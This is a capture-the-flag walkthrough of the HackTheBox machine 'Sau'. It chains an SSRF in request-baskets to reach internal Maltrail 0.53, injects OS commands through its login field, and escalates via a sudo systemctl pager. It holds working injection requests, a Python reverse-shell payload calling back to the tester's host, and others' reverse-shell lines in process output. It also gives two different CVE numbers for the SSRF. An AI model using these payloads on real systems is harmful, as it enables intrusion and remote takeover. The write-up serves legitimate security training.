Solving the Sau Mystery - A Thrilling HTB Machine Walkthrough
INTRODUCTION
Hello everyone! Today, we will be exploring Sau, an easy Linux box created by sau123 on HackTheBox.
Our approach for gaining access to this box involves identifying and exploiting a CVE in a running service to gain an initial foothold. From there, we’ll uncover another vulnerability that allows us to access the box as a low-privileged user.
The final step of our hack involves leveraging the sudo rights granted to the local user to escalate privileges.
Now that the stage is set, let’s dive right in!
SCANNNING
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(kali㉿kali)-[~/Documents/htb/sau]
└─$ rustscan -a 10.10.11.224 -r 1-65535 -u 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.224:22
Open 10.10.11.224:55555
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-01 13:11 EDT
Initiating Ping Scan at 13:11
Scanning 10.10.11.224 [2 ports]
Completed Ping Scan at 13:11, 0.16s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:11
Completed Parallel DNS resolution of 1 host. at 13:11, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 13:11
Scanning 10.10.11.224 [2 ports]
Discovered open port 22/tcp on 10.10.11.224
Discovered open port 55555/tcp on 10.10.11.224
Completed Connect Scan at 13:11, 0.15s elapsed (2 total ports)
Nmap scan report for 10.10.11.224
Host is up, received conn-refused (0.16s latency).
Scanned at 2023-08-01 13:11:55 EDT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
55555/tcp open unknown syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
From the rustscan
result, we can see ports 22 and 55555 are open.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
┌──(kali㉿kali)-[~/Documents/htb/sau]
└─$ nmap -sC -sV -p22,55555 10.10.11.224
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-01 13:13 EDT
Nmap scan report for 10.10.11.224
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
| 256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_ 256 b30c47fba2f212ccce0b58820e504336 (ED25519)
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Tue, 01 Aug 2023 17:13:39 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Tue, 01 Aug 2023 17:13:10 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Tue, 01 Aug 2023 17:13:11 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.93%I=7%D=8/1%Time=64C93D26%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\x
SF:20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Tue,\x2001\x20Aug\x202
SF:023\x2017:13:10\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/we
SF:b\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x2020
SF:0\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Tue,\x2001\x20Aug\x202
SF:023\x2017:13:11\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\
SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCo
SF:nnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"H
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Ke
SF:rberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:
SF:\x20nosniff\r\nDate:\x20Tue,\x2001\x20Aug\x202023\x2017:13:39\x20GMT\r\
SF:nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20name
SF:\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}\$\n
SF:")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.50 seconds
SSH is running on port 22, and seemingly some HTTP service is running on port 55555
EXPLORING THE WEBSITE
From the picture, we can see an application called request-baskets
is running on the port 55555. The github source link can also be found at the bottom of the page.
Request Baskets is a web service to collect arbitrary HTTP requests and inspect them via RESTful API or simple web UI.
We have created a basket called cur1osity
. A token is also provided for accessing the basket.
Our created basket seems empty at this point. Let us make a request to the given basket.
1
2
┌──(kali㉿kali)-[~/Documents/htb/sau]
└─$ curl http://10.10.11.224:55555/cur1osity
Now, we can see the request we have sent.
But we do not see any response here.
If we click on the settings
icon in the top right, we see that we can set up a forward URL to which our requests will be redirected.
To explore the redirection feature of Request Baskets, we will create a simple dummy page and configure the application’s settings to forward requests to our dummy page.
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Documents/htb/sau]
└─$ echo '<h1>PoC By Curiosity (Nehal Zaman)</h1>' > index.html
┌──(kali㉿kali)-[~/Documents/htb/sau]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
We have reconfigured our settings.
We can see that after requesting the basket URL, we are getting the contents that we created in our server.
At the very basic, the request-baskets
is acting like a proxy here.
CVE-2023-27168 in request-baskets
The requesting feature of request-baskets
is found to be potentially vulnerable to Server-Side Request Forgery (SSRF) due to inadequate validation of the Forward URL.
An SSRF vulnerability allows malicious users to manipulate the application to send crafted requests to internal services that should not be directly accessible from external networks. By providing the localhost
IP address or other internal IP addresses and common port numbers, an attacker can potentially access sensitive internal services.
So, we set the Forward URL to localhost
IP and tested common port numbers such as 80
, 8080
, 5000
, 3000
, etc. As a result, we were able to access another website running internally on port 80, which was hosting an application called Maltrail
.
This confirmed the presence of the CVE-2023-27168
vulnerability, exposing the risk of SSRF exploitation in request-baskets
.
EXPLOITING INTERNAL WEB APPLICATION
From the web source HTML, we can see that the version of Maltrail
application is 0.53
.
1
2
3
4
5
6
7
8
.
SNIP
.
<div id="bottom_blank"></div>
<div class="bottom noselect">Powered by <b>M</b>altrail (v<b>0.53</b>)</div>
.
SNIP
.
A quick google reveals that this version of Maltrail
is vulnerable to an unauthenticated blind OS command injection vulnerability.
During the login
process, the application is not adequately checking the username
parameter in /login
endpoint, which is then passed to subprocess.check_output
function. So we can use characters like ;
to chain aritrary OS level commands. Read more about it here
To confirm this vulnerability, we crafted a payload and sent a POST request to the /cur1osity/login
endpoint:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /cur1osity/login HTTP/1.1
Host: 10.10.11.224:55555
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 128
Origin: http://10.10.11.224:55555
DNT: 1
Connection: close
Referer: http://10.10.11.224:55555/cur1osity
username=test%3b`ping+-c4+10.10.14.234`&hash=1776e602e34d27447a954641218d3df4d2965011690964a4b0b44bfbb0c57554&nonce=J8iJBxndSHMV
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Documents/htb/sau]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:26:13.523002 IP 10.10.11.224 > 10.10.14.234: ICMP echo request, id 3, seq 1, length 64
14:26:13.523013 IP 10.10.14.234 > 10.10.11.224: ICMP echo reply, id 3, seq 1, length 64
14:26:14.524081 IP 10.10.11.224 > 10.10.14.234: ICMP echo request, id 3, seq 2, length 64
14:26:14.524093 IP 10.10.14.234 > 10.10.11.224: ICMP echo reply, id 3, seq 2, length 64
14:26:15.525579 IP 10.10.11.224 > 10.10.14.234: ICMP echo request, id 3, seq 3, length 64
14:26:15.525590 IP 10.10.14.234 > 10.10.11.224: ICMP echo reply, id 3, seq 3, length 64
14:26:16.527744 IP 10.10.11.224 > 10.10.14.234: ICMP echo request, id 3, seq 4, length 64
14:26:16.527756 IP 10.10.14.234 > 10.10.11.224: ICMP echo reply, id 3, seq 4, length 64
As a result, we successfully triggered the command injection and received ping replies from our machine, confirming the presence of the vulnerability and the risk of blind OS command injection in Maltrail
.
SHELL AS PUMA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /cur1osity/login HTTP/1.1
Host: 10.10.11.224:55555
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 128
Origin: http://10.10.11.224:55555
DNT: 1
Connection: close
Referer: http://10.10.11.224:55555/cur1osity
username=test%3b`python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.234",443))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")'`&hash=1776e602e34d27447a954641218d3df4d2965011690964a4b0b44bfbb0c57554&nonce=J8iJBxndSHMV
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Documents/htb/sau]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.234] from (UNKNOWN) [10.10.11.224] 58444
$ id; hostname
uid=1001(puma) gid=1001(puma) groups=1001(puma)
sau
Payload used:
1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.234",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
We have received reverse shell as user puma
.
PRIVILEGE ESCALATION TO ROOT
1
2
3
4
5
6
puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
The user puma
can run /usr/bin/systemctl status trail.service
using sudo as root
without any password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2023-08-01 13:04:03 UTC; 5h 37min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 893 (python3)
Tasks: 159 (limit: 4662)
Memory: 484.3M
CGroup: /system.slice/trail.service
├─ 893 /usr/bin/python3 server.py
├─ 1146 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed password for ;`echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNv>
├─ 1147 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed password for ;`echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNv>
├─ 1150 sh
├─ 1151 python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.210",3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2>
├─ 1152 /bin/sh
├─ 7521 gpg-agent --homedir /home/puma/.gnupg --use-standard-socket --daemon
├─15101 sudo /usr/bin/systemctl status trail.service
├─15102 /usr/bin/systemctl status trail.service
├─15103 pager
├─15145 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfS>
├─15146 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfS>
├─15149 bash
├─15150 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.125",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1)>
├─15151 bash
├─15172 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfS>
├─15173 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfS>
├─15176 bash
├─15177 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.125",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1)>
├─15178 bash
├─15189 sudo systemctl
├─15191 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfS>
├─15192 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfS>
├─15195 bash
├─15196 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.125",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1)>
├─15197 bash
├─15232 script
├─15233 bash -i
├─15249 sudo /usr/bin/systemctl status trail.service
├─15250 /usr/bin/systemctl status trail.service
├─15251 pager
├─15252 sh -c /bin/bash -c sh
lines 1-41
When we run the command, a default pager is opened, which is likely to be less
. In that case, we can type !sh
to get root shell, since the systemctl
process is running as root
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.
.
SNIP
.
.
├─15233 bash -i
├─15249 sudo /usr/bin/systemctl status trail.service
├─15250 /usr/bin/systemctl status trail.service
├─15251 pager
├─15252 sh -c /bin/bash -c sh
!sh
#
# bash
root@sau:/opt/maltrail# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
root@sau:/opt/maltrail#
root@sau:/opt/maltrail#
root@sau:/opt/maltrail# hostname
sau
root@sau:/opt/maltrail#
root@sau:/opt/maltrail#
That worked! And we got root
shell.
CONCLUSION
In this writeup, we explored the Sau machine on HackTheBox. We identified an open port 55555
running a web application called request-baskets
. Through this application, we found a Server Side Request Forgery (SSRF) vulnerability (CVE-2023-27163
) that allowed us to access internal services running on the host.
We discovered that the internal service was an application called Maltrail
version 0.53
, which had an unauthenticated blind OS command injection vulnerability. We exploited this weakness to execute arbitrary OS-level commands and gain initial access as the user puma
.
With puma
privileges, we found that the user could run /usr/bin/systemctl status trail.service
with sudo
privileges without a password. Taking advantage of this, we used the less
pager to escalate privileges to root
by executing the !sh
command.
That’s all in this writeup.
Thanks for reading. Hope you liked it.